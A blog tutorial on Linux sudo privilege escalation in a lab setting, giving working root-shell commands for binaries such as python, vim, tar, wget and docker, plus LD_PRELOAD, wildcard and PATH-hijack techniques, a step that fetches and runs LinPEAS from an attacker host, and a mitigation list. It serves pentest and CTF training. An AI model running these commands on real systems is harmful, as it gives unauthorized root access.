June 10, 2026
Linux Sudo Privilege Escalation: GTFOBins, LD_PRELOAD, Wildcard Injection and More
From a restricted user to root using GTFOBins, LD_PRELOAD, Wildcard Injection and More.
Isha Sangpal
12 min read
Lab: Kali Linux | User: gon (sudoer with restricted permissions)
What Is Sudo Privilege Escalation?
When a user has sudo access to a specific binary, they may be able to abuse that binary's legitimate functionality to spawn a shell or run commands as root.
The resource for this is GTFOBins: https://gtfobins.org/
It catalogs Unix binaries that can be abused when running with elevated privileges.
Lab Setup
Create a restricted user:
adduser gonadduser gon
Add to /etc/sudoers:
vim /etc/sudoers
# Add this line (change binary per test):
gon ALL=(ALL:ALL) /usr/bin/pythonvim /etc/sudoers
# Add this line (change binary per test):
gon ALL=(ALL:ALL) /usr/bin/python
Verify as gon:
sudo -l
# Output:
# User gon may run the following commands on kali:
# (ALL : ALL) /usr/bin/pythonsudo -l
# Output:
# User gon may run the following commands on kali:
# (ALL : ALL) /usr/bin/python
Automating Enumeration with LinPEAS
All the techniques in this blog require one prerequisite — knowing which binaries the current user can run with sudo. You can find this manually with sudo -l, but LinPEAS automates the entire enumeration and highlights it for you.
Run the following commands:
# On Kali
python3 -m http.server 8000
# On target
wget http://<kali-ip>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh# On Kali
python3 -m http.server 8000
# On target
wget http://<kali-ip>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinPEAS checks sudoers entries automatically and highlights dangerous ones in red/yellow. For example, if python is in the sudoers file, LinPEAS flags it directly:
That single highlighted line tells you exactly which technique to use. Cross-reference it with GTFOBins and you're done. Everything from Category 1 onwards in this blog maps directly to what LinPEAS surfaces.
Note: LinPEAS is noisy, it will trigger EDR/AV in real environments. In CTFs and lab environments it's your fastest path to a finding.
Category 1: Easy (Mostly Used, Straightforward)
1. python
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/pythongon ALL=(ALL:ALL) /usr/bin/pythonExploit:
sudo python -c 'import os; os.execl("/bin/sh", "sh")'sudo python -c 'import os; os.execl("/bin/sh", "sh")'
Why it works: os.execl() replaces the current process with /bin/sh. Unlike os.system(), it does not fork a child — it directly becomes the shell, inheriting the sudo-elevated privileges.
2. vim
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/vimgon ALL=(ALL:ALL) /usr/bin/vimExploit:
sudo vim -c ':redir! >/etc/sudoers.d/gon | echo "gon ALL=(ALL:ALL) NOPASSWD: ALL" | redir END | q'sudo vim -c ':redir! >/etc/sudoers.d/gon | echo "gon ALL=(ALL:ALL) NOPASSWD: ALL" | redir END | q'
Why it works: vim's :redir command redirects output to a file. Combined with echo, it writes content directly to /etc/sudoers.d/gon as root. Once the new sudoers rule is written, sudo su gives a full root shell.
Note: /etc/sudoers is root-owned. Always edit it as root using visudo — it validates syntax before saving and prevents lockout from a typo.
3. nano
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/nanogon ALL=(ALL:ALL) /usr/bin/nanoExploit:
sudo nanosudo nanoInside nano:
Ctrl+R → Ctrl+X → type: reset; sh 1>&0 2>&0 → EnterCtrl+R → Ctrl+X → type: reset; sh 1>&0 2>&0 → Enter
Why it works: nano's Ctrl+R (Read File) followed by Ctrl+X allows executing commands. Running nano as sudo means the executed command inherits root. Alternatively, since nano is a text editor with sudo, you can directly edit any privileged file including sudoers itself.
Note: It should be typed and not copy pasted inside nano.
4. find
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/findgon ALL=(ALL:ALL) /usr/bin/findExploit:
sudo find . -exec /bin/sh \; -quitsudo find . -exec /bin/sh \; -quit
Why it works: find's -exec flag runs a command for each result. -quit stops after the first match. The shell spawned by -exec runs as root.
5. less
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/lessgon ALL=(ALL:ALL) /usr/bin/lessExploit:
sudo less /etc/passwdsudo less /etc/passwdOnce inside less, type:
!/bin/sh!/bin/sh
Why it works: less has a shell escape feature (!command) inherited from its pager roots. Any command typed after ! runs as the current user, which is root when sudo is used.
6. env
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/envgon ALL=(ALL:ALL) /usr/bin/envExploit:
sudo env /bin/shsudo env /bin/sh
env : Runs a command with a modified environment
/bin/sh : The command to run — passed directly since no env vars are being set
Why it works: env runs a command in a modified environment. Passing /bin/sh directly runs it with root privileges. Simple but often overlooked because env is usually used to set variables.
7. awk
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/awkgon ALL=(ALL:ALL) /usr/bin/awkExploit:
sudo awk 'BEGIN {system("/bin/sh")}'sudo awk 'BEGIN {system("/bin/sh")}'
Why it works: awk's system() function executes shell commands. BEGIN runs before any input is processed, so no file is needed.
Note: mawk is an alternative awk implementation — use whatever binary matches your sudoers entry (awk or mawk).
8. ftp
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/ftpgon ALL=(ALL:ALL) /usr/bin/ftpExploit:
sudo ftpsudo ftpInside the ftp prompt:
ftp> !/bin/shftp> !/bin/sh
The ! prefix inside ftp is a built-in shell escape — originally designed so users could run local commands while connected to a remote FTP server without disconnecting. When ftp runs as sudo, !command runs that command as root.
Why it works: ftp has a built-in ! shell escape command for running local commands while connected to a remote server. When run as sudo, the shell spawns as root.
9. perl
Why add it: Perl is pre-installed on almost every Linux system. One of the most common CTF findings after python.
# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/perl
# Exploit:
sudo perl -e 'exec "/bin/sh";'# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/perl
# Exploit:
sudo perl -e 'exec "/bin/sh";'
Why it works: exec() in Perl replaces the current process with /bin/sh, inheriting sudo's root privileges. No child process spawned.
10. php
Why add it: PHP is on every web server. If you compromise a web app and find sudo access to php, this is instant root.
# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/php
# Exploit:
sudo php -r 'system("/bin/sh -i");'# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/php
# Exploit:
sudo php -r 'system("/bin/sh -i");'
Why it works: system() in PHP executes shell commands. -r runs inline code without a file. Common on LAMP stack machines.
11. man
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/mangon ALL=(ALL:ALL) /usr/bin/manExploit:
sudo man mansudo man manWhen the pager opens, type:
!/bin/sh!/bin/sh
Why it works: man uses a pager (less) to display pages. Same pager escape as git. man man opens the manual for man itself, guaranteeing output long enough to trigger the pager.
Note: The error man: can't resolve man7/groff_man.7 is harmless — it appears when groff formatting tools are missing. The shell still spawns successfully as shown by the id output.
Category 2: Difficult (Mostly Used, Requires More Steps)
12. nmap
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/nmapgon ALL=(ALL:ALL) /usr/bin/nmapExploit (NSE script method):
echo 'os.execute("/bin/sh")' > /tmp/shell.nse
sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/nmap" > /etc/sudoers.d/nmap_demo'
sudo nmap --script=/tmp/shell.nseecho 'os.execute("/bin/sh")' > /tmp/shell.nse
sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/nmap" > /etc/sudoers.d/nmap_demo'
sudo nmap --script=/tmp/shell.nse
Why we did this-> sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/nmap" > /etc/sudoers.d/nmap_demo'
It is a lab setup step, it adds NOPASSWD access for nmap so the NSE shell doesn't require a password prompt mid-exploit. In a real CTF, this entry would already exist.
Old method (nmap < 5.20 only):
sudo nmap --interactive
nmap> !shsudo nmap --interactive
nmap> !shWhy it works: nmap supports NSE (Nmap Scripting Engine) Lua scripts. os.execute runs system commands. The --interactive flag (removed in newer nmap) opened a direct shell.
Note: The NSE method requires write access to /tmp to create the script file first.
13. git
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/gitgon ALL=(ALL:ALL) /usr/bin/gitExploit:
sudo PAGER='/bin/sh -c "exec sh 0<&1"' git -p helpsudo PAGER='/bin/sh -c "exec sh 0<&1"' git -p help
PAGER=… : Sets the pager program git uses to display output
/bin/sh -c "exec sh 0<&1" : Runs sh, then replaces it with an interactive shell; 0<&1 redirects stdin from stdout making it interactive
git -p help : Forces git to use the pager even for short output
Why it works: git uses a pager (less by default) to display long output. The pager inherits git's sudo privileges. Typing !command in the pager escapes to shell as root.
The -p flag forces pager use even for short output.
14. tar
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/targon ALL=(ALL:ALL) /usr/bin/tarExploit:
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shsudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Why it works:
--checkpoint=1triggers a checkpoint every 1 record--checkpoint-action=exec=runs a command at each checkpoint/dev/nullas input gives instant checkpoint with no actual archiving
This is non-obvious because tar is typically thought of as an archive tool, not a command executor.
15. zip
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/zipgon ALL=(ALL:ALL) /usr/bin/zipExploit:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
rm -f $TFTF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
rm -f $TF
TF=$(mktemp -u) : Generates a random temp filename without creating the file; -u = unsafe/dry-run
$TF : The variable holding that temp path — used as archive name
OR
sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/zip" > /etc/sudoers.d/zip_demo'
sudo zip /tmp/archive.zip /etc/hosts -T -TT '/bin/sh #'sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/zip" > /etc/sudoers.d/zip_demo'
sudo zip /tmp/archive.zip /etc/hosts -T -TT '/bin/sh #'
-T : Test archive integrity after creation
-TT 'sh #' : Use sh as the custom test command; # comments out the filename zip appends automatically
Why it works:
-Ttests the archive-TTspecifies a custom test command- The # comments out the filename argument zip appends
- This runs
shas root during the test phase
mktemp -u generates a temp filename without creating it (-u = unsafe, dry run).
16. cp
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/cpgon ALL=(ALL:ALL) /usr/bin/cpExploit:
cp /bin/bash /home/gon/rootbash
sudo chown root:root /home/gon/rootbash
sudo chmod u+s /home/gon/rootbash
/home/gon/rootbash -p
rootbash-5.3# id
uid=1001(gon) gid=1001(gon) euid=0(root) groups=1001(gon),100(users)cp /bin/bash /home/gon/rootbash
sudo chown root:root /home/gon/rootbash
sudo chmod u+s /home/gon/rootbash
/home/gon/rootbash -p
rootbash-5.3# id
uid=1001(gon) gid=1001(gon) euid=0(root) groups=1001(gon),100(users)
euid=0(root) not uid=0(root) — the -p flag preserves the SUID effective UID. The real UID remains gon but effective UID is root, which is enough for privilege escalation.
17. wget (Difficult, GTFOBins)
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/wgetgon ALL=(ALL:ALL) /usr/bin/wgetExploit: overwrite /etc/passwd
# Step 1: Lab setup
sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/wget" > /etc/sudoers.d/wget_demo'
# Step 2: Staging the Payload
cd /tmp
cp /etc/passwd /tmp/passwd
# Step 3: Generate a password hash for "toor"
openssl passwd toor
# Output: $1$xyz$...
# Step 4: Injecting the Malicious User
echo 'pwned:$1$.qp4ox87$mb4coWrxAk0KbMLjqZah/1:0:0:root:/root:/bin/bash' >> /tmp/passwd
# Step 5: Hosting the Exploit
python3 -m http.server 8000 &
# Step 6: The Exploit Execution (Arbitrary File Write)
sudo wget http://127.0.0.1:8000/passwd -O /etc/passwd
# Step7: Claiming the Shell
su pwned
# password: toor
id# Step 1: Lab setup
sudo sh -c 'echo "gon ALL=(root) NOPASSWD: /usr/bin/wget" > /etc/sudoers.d/wget_demo'
# Step 2: Staging the Payload
cd /tmp
cp /etc/passwd /tmp/passwd
# Step 3: Generate a password hash for "toor"
openssl passwd toor
# Output: $1$xyz$...
# Step 4: Injecting the Malicious User
echo 'pwned:$1$.qp4ox87$mb4coWrxAk0KbMLjqZah/1:0:0:root:/root:/bin/bash' >> /tmp/passwd
# Step 5: Hosting the Exploit
python3 -m http.server 8000 &
# Step 6: The Exploit Execution (Arbitrary File Write)
sudo wget http://127.0.0.1:8000/passwd -O /etc/passwd
# Step7: Claiming the Shell
su pwned
# password: toor
id
Why it works: wget's -O flag writes downloaded content to any file path. With sudo, it can overwrite system files like /etc/passwd or /etc/sudoers. Adding a crafted user with UID 0 gives instant root.
Why it is difficult: It requires multiple steps — generating a hash, serving a file, overwriting, then switching users. A mistake at any step (wrong hash, encoding issue) breaks the chain.
18. tee (Difficult, GTFOBins)
# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/tee
# Method 1: Add gon to sudoers (no password)
echo "gon ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/gon
sudo bash
# Method 2: Overwrite /etc/passwd
openssl passwd toor
# Use the actual output above, e.g.:
echo 'pwned:$1$abc$hashedvalue:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
su pwned
# password: toor# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/tee
# Method 1: Add gon to sudoers (no password)
echo "gon ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/gon
sudo bash
# Method 2: Overwrite /etc/passwd
openssl passwd toor
# Use the actual output above, e.g.:
echo 'pwned:$1$abc$hashedvalue:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
su pwned
# password: toor
Flag breakdown:
Part Meaning
echo "..." | : Pipes text into tee's stdin
sudo tee <file> : tee reads stdin and writes to the file as root
-a : Append to file instead of overwriting
Why it works: tee reads from stdin and writes to a file simultaneously. With sudo it can write to any root-owned file. Unlike wget, no HTTP server needed — the payload comes directly from stdin.
Why it is difficult: Requires knowing what to write and where. Wrong sudoers syntax locks you out permanently.
19. docker (Advanced, GTFOBins)
Why add it: Container environments are everywhere. If a user has sudo access to docker, it is one of the cleanest privilege escalations — no payload, no hash, instant root with full filesystem access.
# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/docker
# Exploit:
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Verify:
# id
# uid=0(root) gid=0(root) groups=0(root)# Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/docker
# Exploit:
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Verify:
# id
# uid=0(root) gid=0(root) groups=0(root)
Flag breakdown:
docker run : Start a new container
-v /:/mnt : Mount the host's entire filesystem (/) to /mnt inside the container
--rm : Remove container after exit (clean)
-it : Interactive terminal
alpine : Minimal Linux image (fast to pull)
chroot /mnt sh : Change root to /mnt (which is the host /) and spawn a shell
Why it works: The container runs as root by default. Mounting the host filesystem gives full access to every host file. chroot makes the container shell behave as if it's running directly on the host — complete root access to all host files including /etc/shadow, /etc/sudoers, SSH keys.
Note: Docker sudo access is often overlooked during audits because administrators think of it as "just running containers." It is actually equivalent to giving a user unrestricted root access to the entire host filesystem.
Category 3: Mostly Used but NOT on GTFOBins
20. sudo su / sudo bash
Sudoers entry:
gon ALL=(ALL:ALL) ALLgon ALL=(ALL:ALL) ALLExploit:
sudo su
# or
sudo bash
# or
sudo sh -psudo su
# or
sudo bash
# or
sudo sh -p
Why it matters: When a user has ALL in their sudoers entry, they can run any command as root — including a shell. This is the most common misconfiguration in real environments. sh -p preserves the effective UID.
21. NOPASSWD Misconfiguration
Sudoers entry:
gon ALL=(ALL:ALL) NOPASSWD: ALLgon ALL=(ALL:ALL) NOPASSWD: ALLExploit:
sudo /bin/bashsudo /bin/bash
Why it matters: NOPASSWD means no password is required for sudo. Combined with ALL, the user gets root without any authentication. Extremely dangerous and common in poorly configured CI/CD environments and Docker containers.
22. LD_PRELOAD Abuse
Sudoers entry (requires env_keep):
Defaults env_keep+=LD_PRELOAD
gon ALL=(ALL:ALL) /usr/bin/findDefaults env_keep+=LD_PRELOAD
gon ALL=(ALL:ALL) /usr/bin/findExploit:
# Create malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF# Create malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
EOFCompile it into a shared object:
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
# Use it with any allowed sudo binary
sudo LD_PRELOAD=/tmp/evil.so findgcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
# Use it with any allowed sudo binary
sudo LD_PRELOAD=/tmp/evil.so find
Why it works: LD_PRELOAD tells the dynamic linker to load a library before all others. If sudoers preserves this environment variable (env_keep), the malicious library loads with root privileges before the target binary runs. _init() executes at library load time.
Why it is not on GTFOBins: GTFOBins covers binary abuse. This is an environment variable exploit targeting sudoers configuration, not the binary itself.
23. Wildcard Argument Injection
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/python3 /opt/script.py *gon ALL=(ALL:ALL) /usr/bin/python3 /opt/script.py *A) Make script.py itself vulnerable
- Create the vulnerable script (as root, since
/optis usually root‑owned):
sudo tee /opt/script.py << 'EOF'
#!/usr/bin/env python3
import sys
if len(sys.argv) > 1:
# DANGEROUS: executes whatever is passed as argument
exec(sys.argv[1])
EOF
sudo chmod +x /opt/script.pysudo tee /opt/script.py << 'EOF'
#!/usr/bin/env python3
import sys
if len(sys.argv) > 1:
# DANGEROUS: executes whatever is passed as argument
exec(sys.argv[1])
EOF
sudo chmod +x /opt/script.py- Exploit
gon@lab:~$ sudo /usr/bin/python3 /opt/script.py 'import os; os.system("/bin/bash")'gon@lab:~$ sudo /usr/bin/python3 /opt/script.py 'import os; os.system("/bin/bash")'
B) Use a different binary that natively accepts code execution flags
The classic real‑world example uses find or rsync:
Sudoers entry:
gon ALL=(ALL:ALL) /usr/bin/find *gon ALL=(ALL:ALL) /usr/bin/find *Exploit (no need for custom script):
sudo find . -exec /bin/sh \; -quitsudo find . -exec /bin/sh \; -quit
Why it works: The * wildcard in sudoers allows any arguments after the script path. If the binary accepts -c or similar code execution flags, the wildcard passes them through. The sudoers policy only checks the binary path, not what arguments it receives.
Why it is not on GTFOBins: This is a sudoers configuration flaw, not a binary feature. GTFOBins documents binary behavior; the exploit here depends on the wildcard in the policy.
24. PATH Injection via Custom Scripts
Sudoers entry:
gon ALL=(ALL:ALL) /opt/backup.sh
Defaults !secure_path
Defaults env_keep += "PATH"gon ALL=(ALL:ALL) /opt/backup.sh
Defaults !secure_path
Defaults env_keep += "PATH"
/opt/backup.sh contains (vulnerable):
#!/bin/bash
tar czf /tmp/backup.tar.gz /home/#!/bin/bash
tar czf /tmp/backup.tar.gz /home/Exploit:
# Step 1: Create the vulnerable script /opt/backup.sh
sudo tee /opt/backup.sh << 'EOF'
#!/bin/bash
tar czf /tmp/backup.tar.gz /home/
EOF
sudo chmod 755 /opt/backup.sh
# Step 2: Add the sudoers entry for user gon
echo 'gon ALL=(ALL:ALL) /opt/backup.sh' | sudo tee /etc/sudoers.d/path_inject
sudo chmod 440 /etc/sudoers.d/path_inject
# Step 3: Create a malicious tar executable
# Create a fake tar in /tmp
cat > /tmp/tar << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/tar
# Step 4: Inject the custom PATH and run the script
sudo PATH=/tmp:$PATH /opt/backup.sh# Step 1: Create the vulnerable script /opt/backup.sh
sudo tee /opt/backup.sh << 'EOF'
#!/bin/bash
tar czf /tmp/backup.tar.gz /home/
EOF
sudo chmod 755 /opt/backup.sh
# Step 2: Add the sudoers entry for user gon
echo 'gon ALL=(ALL:ALL) /opt/backup.sh' | sudo tee /etc/sudoers.d/path_inject
sudo chmod 440 /etc/sudoers.d/path_inject
# Step 3: Create a malicious tar executable
# Create a fake tar in /tmp
cat > /tmp/tar << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/tar
# Step 4: Inject the custom PATH and run the script
sudo PATH=/tmp:$PATH /opt/backup.sh
Why it works: The script calls tar without its full path (/usr/bin/tar). When PATH is injected, the system finds /tmp/tar first. Since the script runs as root via sudo, the fake tar spawns a root shell.
Why it is not on GTFOBins: This is a script-level misconfiguration, not a documented binary abuse. It requires finding a sudo script that calls binaries with relative paths.
Detection and Mitigation
Enumerate sudo permissions (always first):
sudo -lsudo -lMitigations:
- Never grant
ALLin sudoers unless absolutely necessary - Avoid
NOPASSWDin production systems - Always use full binary paths in sudo scripts
- Never use wildcards in sudoers command arguments
- Add
env_resetto sudoers Defaults (prevents LD_PRELOAD abuse) - Audit sudoers regularly:
visudo -c - Use
Cmnd_Aliasto group allowed commands and review them
Conclusion
Sudo privilege escalation exploits the gap between what a binary is meant to do and what it can be made to do. GTFOBins covers the binary side. The real world adds misconfigurations: wildcards, NOPASSWD, LD_PRELOAD, and insecure scripts. Understanding both sides is essential for OSCP, CTFs, and real engagements.
Special thanks to Nishchay Gaba for the guidance and support throughout.
Keep learning. Stay ethical.